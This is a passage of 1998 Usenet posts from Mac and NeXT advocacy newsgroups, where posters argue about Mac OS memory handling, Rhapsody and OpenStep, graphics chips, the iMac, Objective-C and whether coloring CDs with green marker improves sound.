References: <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu> <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org> <35D7FC98.C8445170@sci.kun.nl> <slrn6tkkht.1kh.jason@jhste1.dyn.ml.org> <35df2780.7114480@netnews.msn.com>
Dave Martin <not_the-spam_xxiii@biogate.com> wrote:
> Netscape is a memory hog. If you don't have enough memory to make it
> happy you have problems, If you do have memory, its not so bad (not
> great mind you).
Netscape is a company, not an application. Your statement abouve is like
saying Microsoftis a memory hog. What application are you talking about?
Navigator? Communicator? Colabra? I have Navigator standalone and it is
not all that large, nor does it take a lot of memory.
--
Remove nojunk from my email address to reply by email.
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Fri, 21 Aug 1998 21:10:24 -0700
Message-ID: <see-below-2108982110240001@dynamic40.pm05.mv.best.com>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com> <see-below-2008982307040001@dynamic13.pm03.mv.best.com> <6rkkik$a7p$1@nnrp1.dejanews.com>
In article <6rkkik$a7p$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <see-below-2008982307040001@dynamic13.pm03.mv.best.com>,
> see-below@not-my-address.invalid (Matthew Vaughan) wrote:
>
> > Just a note: the Rage Pro Turbo _is_ the Rage Pro hardware exactly, it's
> > just a newer rev. of the driver (on the PC at least). I can reference a
> > post from an ATi engineer confirming this if you like...
>
> Yes, please do that. I thought that, at the least, the packaging had changed
> between the two chipsets.
It seems to have expired (already!!!) from my newsfeed, but I found it at
DejaNews (minus his sig and the original message id...)
<QUOTE>
Re: RAVE - Brian Greenstone
Author: Ray Swartz
Email: rswartz@atitech.com
Forums: comp.sys.mac.games.action
X-Article-Creation-Date: Thu Aug 20 14:36:15 1998 GMT
X-Http-User-Agent: Mozilla/3.0 (compatible; MSIE 3.01; Mac_PowerPC;
Mac OS8)
------------------------------------------------------------------------
In article <DarnedToHeck-1908981638510001@cc962257-a.vron1.nj.home.com>,
DarnedToHeck@REMOVE.home.com (Paul McGrane) wrote:
> Sooo...to the best of my knowledge, if you look in the About This Computer
> window and it mentions "Enabler 777" somewhere, then you have a RAGE Pro.
> If it says "Enabler 770" or nothing about an enabler, you've got a RAGE
> II+. And if you just got a brand spanking new G3 that can play DVD movies,
> you have a RAGE Pro Turbo which might be better yet.
The Rage Pro Turbo is the same thing as the Rage Pro.
</QUOTE>
I really don't know the details, but my impression (even before Ray posted
this) was the "Turbo" part was manly the result of an updated driver on
the PC side.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: ch@TAKETHISOUTastronavigation.com (coliN)
Newsgroups: comp.sys.next.advocacy
Subject: Re: writing games for yellow box?
Date: Fri, 21 Aug 1998 20:44:25 -0800
Organization: EarthLink Network, Inc.
Message-ID: <ch-2108982044260001@1cust243.tnt4.redmond.wa.da.uu.net>
References: <mvdk-2008981748580001@192.0.1.3> <Ey01q1.6Ax@T-FCN.Net> <ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net> <see-below-2008982312170001@dynamic13.pm03.mv.best.com>
In article <see-below-2008982312170001@dynamic13.pm03.mv.best.com>,
see-below@not-my-address.invalid (Matthew Vaughan) wrote:
> >
> >
> > It's apparently still used for level programming.
> > The Quake engine really makes up id's bread and
> > butter(licensing it) and I don't think there's
> > been all that much significant work done it any
> > recent time.
>
> Just to clear up any possible confusion, could you explain more clearly
> what this paragraph means? What are you referring to that hasn't been
> worked on recently? The Quake engine? Using OpenStep at id? I'm just
> having a hard time understanding your meaning here (and deciding whether
> it needs to be corrected or not;)
>
>
id Software licenses the Quake engine to other developers
for use in games like Unreal and Half-Life. The engine
hasn't changed much as far as going Quake I --->> Quake II.
New levels are always being programmed.
The original "It" I was referring to was NeXTstep. The
second "it" was in reference to the Quake engine. Sorry
if that was confusing, which it clearly is. So basically
what I meant was that id still uses NeXT for level programming,
but has not messed with the Quake engine all that much since
Quake 1(except for some tweaking done on NT, I think.) If
this is misguided, or untrue, please correct me. ;-)
Regards,
coliN
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 21 Aug 98 10:30:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug21103016@slave.doubleu.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
<joe.ragosta-1408981626220001@wil72.dol.net>
<6r29nn$3oo$1@camel0.mindspring.com>
<gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net>
<6r2tc6$rob$1@camel29.mindspring.com>
<gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net>
<35d525ad.0@news.depaul.edu>
<gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>
<6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net>
<gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>
<joe.ragosta-1608981658190001@elk59.dol.net>
<uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>
<seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net>
<gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net>
<seano1-1808982136070001@ip39.santa-clara6.ca.pub-ip.psi.net>
<gmgraves-1908981046210001@sf-usr1-40-168.dialup.slip.net>
<seano1-1908981332310001@ip174.santa-clara14.ca.pub-ip.psi.net>
<gmgraves-2008980951300001@sf-usr1-52-180.dialup.slip.net>
In-reply-to: gmgraves@slip.net's message of Thu, 20 Aug 1998 09:51:30 -0700
In article <gmgraves-2008980951300001@sf-usr1-52-180.dialup.slip.net>,
gmgraves@slip.net (George Graves) writes:
In article
<seano1-1908981332310001@ip174.santa-clara14.ca.pub-ip.psi.net>,
seano1@earthlink.net (Sean O'Flaherty) wrote:
> In article <gmgraves-1908981046210001@sf-usr1-40-168.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
> >Good question. I listened to several pairs of the discs used in
> >the tests BEFORE I "penned" one of them, and I heard no
> >difference between the two supposedly identical CDs.
>
> But did you know they were both unpenned. When you did the test?
Yeah, I unwrapped them after buying them from the store in
preperation for the test.
I suspect that was the point. It would be a better test if you bought
a number of the same disc, and had someone else loading the CD player.
Then they could insert various combinations of discs, and jot down
your reactions to each.
Knowing whether a disk was penned or unpenned may affect your
subjective impression of the sound quality.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: qed@pobox.com (Paul Hsieh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Re:Help me decide
Date: Fri, 21 Aug 1998 23:36:54 -0700
Organization: MindSpring Enterprises
Message-ID: <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com>
References: <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU>
sjosvai@leland.Stanford.EDU says...
> Ok folks, I am ready to purchase. I will be doing graduate work...do I
> really need spend big bucks for Pentium II chip,. of will k62 or celeron
> do? If I go k62 or celeron, i can afford the 17" monitor and a high end
> printer...for about 2K i mean really, i completed a 4 year undergrad
> degree with a macse, word processing (thesis etc) is all I will do, aside
> from some greeting cards (that oughta entertain me for a few months), a
> few games (hip on the oregon trail), surg the internet and dial in to
> Stanford...clearly, my mac se doesn't have the pentium II...so help!!!
> I want to get out of the door with tax if possible, with monitor and
> printer in hand, plus cables and surge protectors for under 2K
About 8 months ago I got a 233Mhz K6 system with a 56K modem, nice 100
watt speakers, and a beautiful optiquest 19" monitor, and all the other
standard components. In 8 months processor prices have fallen so you can
easily get a 266Mhz or 300Mhz K6 for the same price nowadays. To get the
printer you will probably have to go a size smaller on the monitor (17").
There are more way more games for PC's than on Macs, so there's no reason
to continue with the legacy Mac line unless you like neon blue for some
reason and have a deep hatred for floppy disks.
--
Paul Hsieh
http://www.pobox.com/~qed/apple.html
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 08:41:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rm07c$srq$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>
In article <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> You see, we Mac users may have less ultimate
> hardware or software than either, but we have what we need and then, of
> course we don't have to put up with Window's lame user interface either.
> I'd say that gives us an extreme advantage.
The interface is an advantage. The lack of hardware and software is not. I
also hate how less capable hardware is more expensive on the Mac.
> OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
> in its two DR releases and it is NOT as polished as MacOS. Better than
> Windows maybe, but it still has more UNIX sticking out of it than it does
> MacOS even though it looks and feels a lot like MacOS.
Will soon be but is not now. I assumed that you were refering to the present.
Of course, Rhapsody is less polished than the Mac OS. It is a grafting of Mac
OS on top of OpenStep. Apple changed a lot (often for the worse, IMHO) when
they modified OpenStep to make Rhapsody. Have you even used OpenStep or seen
a study whose conclusion was that the Mac OS is more productive than
OpenStep? If not then you have no basis for making your claim.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 08:33:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rlvp5$s2n$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net> <6rkr8r$imc$1@nnrp1.dejanews.com> <gmgraves-2108981749420001@sf-pm5-12-76.dialup.slip.net>
In article <gmgraves-2108981749420001@sf-pm5-12-76.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> I too run a lot of applications. Its not at all unusual for me to have
> Quark, Illustrator, Word 98, and Photoshop all open at once. I don't seem to
> get memory fragmentation, and my machine certainly doesn't crash. Two
> different users, two different results.
Launch any three programs under the Mac OS. Quit the one that you lauched
second. You now have fragmented memory. So, unless you never do anything like
this, you do get memory fragmentation. The problem is most keenly felt,
however, if you run a lot a applications (I tend to use 10-15 at once). You
seem to run a few large ones.
If you only use well tested applications (such as those you listed) then I am
not suprised that your computer doesn't crash frequently. However, when you
develop software, use a lot of new tools or use a lot of shareware/freeware
then you will probably have problems with crashes. The Mac OS cannot protect
you from many application errors. Windows 95/NT can and I find this useful.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 22 Aug 1998 08:26:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rlvbo$ro7$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net>
In article <joe.ragosta-2108981911390001@elk120.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> That's nice.
>
> Of course, it has nothing to do with the topic.
>
> Every time you actually _measure_ one OS against the others, Mac OS wins.
> Your personal preference isn't very easily measurable.
What measurements are you referring too? The ones on you website? None of
those studies seemed particularly relevant to me. Your favorite compares
Windows 3.1 with the Mac OS! That study is no longer relevant. The next one
is a comparison when doing graphics tasks. That isn't terribly relevant to
me. The one after that compares ease of use which is irrelevant to anyone who
knows how to use both expertly. It stated, however, that "[The MacOS is]
slightly more usable than Windows 95." I am not sure if that means that it is
easier to use or more productive. In any case, it was an opinion not a study.
The one after that is full of broken links so I couldn't look at it. The one
after that also refers only to Windows 3.1 and is an explanation not a study.
So, unless you can refer me to a study which compares the productivity of NT 4
vs the Mac OS for the expert user familiar with both, I will have to go with
the one which I find is most productive.
---
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 22 Aug 1998 08:50:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rm0p9$tai$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
In article <B2032EEB-9EF58@206.165.43.27>,
"Lawson English" <english@primenet.com> wrote:
> HOWEVER, I suspect that the rewrites that Carbon requires WILL support
> YB-esque windows handling.
I doubt it. DragWindow and MoveWindow are not in the list of depreciated
routines. Also, if these routines were stubs, a lot of programs that use them
for other purposes would die.
> You could (for instance) make the standard windows handling routines
> simple stubs and handle everything behind-the-scenes without direct support
> from the Mac app. Basically, the Mac app never receives the events related
> to windows-handling in the first place so it never has any problems dealing
> with the non-MacOS windowing.
The will probably screw up some applications.
> Since currently, menu-selection freezes foreground tasks in Rhapsody (or
> did, last I heard), menu-handling wouldn't need to change at all, only
> windows-handling.
That is a definate change for the worse from OpenStep.
> All you'd need to do would be to track update events and
> let the windows manager handle resizing, moving and so on behind the
> scenes. Every time it does so, it sends you an update event which you deal
> with normally.
If you are busy then presumably you won't be processing update events. That
will make for some redraw crappyness. Also, resizing an applications' windows
without it being in control is total suicide. There is not mechanism to handle
this.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: iMac - Bad News For Apple
Date: Sat, 22 Aug 1998 04:47:32 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <13663-35DE85A4-11@newsd-124.bryant.webtv.net>
References: <6rl84d$29p$1@nnrp1.dejanews.com>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=US-ASCII
Content-Transfer-Encoding: 7Bit
ETAsAhR4Z9g3PdYSdIsTLkBnQeLzldhuqwIUQvVSxEhPhPk3e0uVkT55p+AoMt4=
Ned Mullen wrote:
>DC,
>I tried it out in the store. The problem is that it
>is not possible to completely evaluate a unit on
>the shop floor.
>The only thing one can do is take a unit back
>to the lab and test it.
Most of your complaints are superficial. If you had actually been to a
computer store and been in contact with an iMac you would have seen that
the mouse and keyboard were too small, you would have known that the
ports were "badly layed out", you would have known that it didn't come
with a floppy. You don't have to know the composition of the iMac's
plastic to figure out if it appeals to you aesthetically or
ergonomically.
>The iMac is the second machine I've come
>across that turned out to be totally unsuitable
>for new product development.
Of course, it's not aimed at developers.
> The other one was a small PC IBM
>indtoduced of some 20 years ago that was
>handicapped by a small keyboard and by a
>custom data bus.
>The bottom line is that you evaluate a unit and
>if it has some potential for your market then
>you move along with it. If there is little or no
>potential you quickly drop it and move on to
>something else.
Don't you have anything better to do?
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
Date: Sat, 22 Aug 1998 07:16:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2208980716450001@elk62.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com>
In article <6rlvbo$ro7$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-2108981911390001@elk120.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > That's nice.
> >
> > Of course, it has nothing to do with the topic.
> >
> > Every time you actually _measure_ one OS against the others, Mac OS wins.
> > Your personal preference isn't very easily measurable.
>
> What measurements are you referring too? The ones on you website? None of
> those studies seemed particularly relevant to me. Your favorite compares
> Windows 3.1 with the Mac OS! That study is no longer relevant. The next one
Wrong. The ones I quote most recently are Gistics and Microsoft--both of
which compare Mac OS to Win95 and NT.
> is a comparison when doing graphics tasks. That isn't terribly relevant to
> me. The one after that compares ease of use which is irrelevant to anyone who
> knows how to use both expertly. It stated, however, that "[The MacOS is]
> slightly more usable than Windows 95." I am not sure if that means that it is
> easier to use or more productive. In any case, it was an opinion not a study.
> The one after that is full of broken links so I couldn't look at it. The one
> after that also refers only to Windows 3.1 and is an explanation not a study.
>
> So, unless you can refer me to a study which compares the productivity of NT 4
> vs the Mac OS for the expert user familiar with both, I will have to go with
> the one which I find is most productive.
See Gistics.
The point is that there's an overwhelming mountain of evidence. You find a
minor complaint about each one while ignoring the fact that the mountain
of evidence is all saying the same thing--that Macs are easier to use,
more productive, and less expensive than PCs.
In spite of your criticisms, I have dozens of links to support my
position. You have exactly ZERO. NONE. NADA. ZIP.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: 22 Aug 1998 11:49:16 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6rmb7s$lok$3@sibyl.sunrise.ch>
References: <6riqlj$14n$1@news.digifix.com> <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com> <alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com>
>
> Fiend is already running on Rhapsody DR2. It works pretty
> good, still has a few missing features, but I no longer miss the Dock
> on Mac OS X Server as a result of it being available.
Same for me, except it doesn't provide the alignement of running apps at the bottom of the screen, and that's THE feature I miss!
Raph
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 22 Aug 1998 14:41:30 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6rme51$ckb$1@pascal.a2000.nl>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com>
<B1F72C46-4D386@206.165.43.141>
<joe.ragosta-1208981436470001@wil66.dol.net>
<B1F737B2-78293@206.165.43.141>
<joe.ragosta-1208981526060001@wil62.dol.net>
<brian_hall-1308981858030001@22.markspace.com>
<B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com>
<1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net>
<6rfaqa$aqg$1@nnrp1.dejanews.com>
<1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net>
<6ril6a$sf4$1@nnrp1.dejanews.com>
<1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net>
<Ey1n3C.M7M@T-FCN.Net>
<1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> ,
phenix@interpath.com (John Moreno) wrote:
>As for how powerful the most basic programs are - the user doesn't care
>that you only had to write a hundred lines of code to make a full
>featured word processor, the user cares that he has a good word
>processor with the features he wants.
Ofcourse the user cares, because fewer lines of code means less bugs, better
maintainability and thus a better product with good potential for
expandability.
It is by the same reasoning that you argue that users care for protected
memory.
Pascal.
From: NedMullen@email.msn.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: iMac - Bad News For Apple
Date: Sat, 22 Aug 1998 13:00:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rmfe5$bvh$1@nnrp1.dejanews.com>
References: <6rl84d$29p$1@nnrp1.dejanews.com> <13663-35DE85A4-11@newsd-124.bryant.webtv.net>
Josh,
I found out some time ago that I do have better things to do than to develop
code for the Mac.
And now I know that I need not and should not bother with the iMac.
The first law of computers is very simple and to the point:
Sales = Code ' No Code, no sales
Ned Mullen
In article <13663-35DE85A4-11@newsd-124.bryant.webtv.net>,
RasAllGhul@webtv.net (Joshua Moore) wrote:
>
> Don't you have anything better to do?
>
> ------
> "But there's nothing more sadistic than an infant, waving his pistol in
> my face. He wants me right down on my knees, crumbling in disgrace.
> He underestimates my mind, I know he's messing with my head." - Trigger
> Happy Jack by Poe
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <35d525ad.0@news.depaul.edu> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcuq7$olr$1@ec.arbat.com> <gmgraves-1908981057360001@sf-usr1-40-168.dialup.slip.net>
Message-ID: <35dec904.0@news.depaul.edu>
Date: 22 Aug 98 13:35:00 GMT
In comp.sys.next.advocacy George Graves <gmgraves@slip.net> wrote:
> Actually, come to think of it, you are right, They would,
> however see a red spot ON the disk.
No, that would be physically impossible due to the orientation
of the lens to the CD.
You can see a red spot in the surface of the lens.
> That's my point. They are all infrared lasers. The parts lists
> SAY so!
My first CD player, a Sony portable back around 1987, had a red
laser. I'm pretty sure they still use red lasers. Infrared would
have a lower frequency than red, which would reduce the amount
of data a CD could store.
They've been trying to get blue semiconductor lasers to work, in
order to further increase storage capacity, by moving to a
shorter-wavelength/higher frequency. (Perhaps blue lasers are
used in DVD drives?)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green LEDs
Date: 22 Aug 1998 14:00:31 GMT
Organization: Indiana University, Bloomington
Message-ID: <6rmitv$q7t$1@jetsam.uits.indiana.edu>
References: <35d525ad.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindsprin <6riq8l$2gf$1@nnrp1.dejanews.com>
Hey, I just discovered that programs on CD run much faster if you color
the rim with a green marker!
--
"Those aren't walls, Peter. Those are steps." -- Spengler
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 22 Aug 1998 14:18:26 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rmjvi$41l$1@lwnws01.ne.highway1.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> In article <6rk08i$6ur$2@lwnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
>
> > The main advantages to Objective C are it has an elegant OO
> > layer, but it also allows straight Ansi C to be used and thus
> > porting all kinds of C code becomes trivial.
>
> I would imagine that if I were porting a C program to Objective-C
> almost none of the original code would remain.
You'd imagine wrong. I've used fft, scsi, and other code, wholesale, wrapped
inside a method. It works great. Not a single line to rewrite. And
blazingly fast.
> > And C is just generally more widely used.
>
> Not an argument that you should use if you are advocating
> objective-C :-)
Yes it is. See above.
> > Also, C shows a lot of range in the form of Objective C.
>
> I'm not sure what you mean by "range" in this context but remember
> that we are talking about the base language (C vs. Pascal) and
> not the object-oriented extensions.
That's not what I'm talking about. I'm talking Objective C vs. Objective
Pascal. The ability to use straight C when needed in OBjective C is very
